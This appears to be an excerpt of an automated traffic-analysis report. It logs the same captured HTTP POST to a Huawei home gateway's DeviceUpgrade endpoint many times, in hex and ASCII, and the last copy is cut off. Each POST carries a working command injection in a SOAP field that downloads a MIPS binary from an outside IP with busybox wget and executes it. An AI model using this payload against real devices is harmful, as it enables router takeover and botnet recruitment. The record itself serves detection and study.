Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 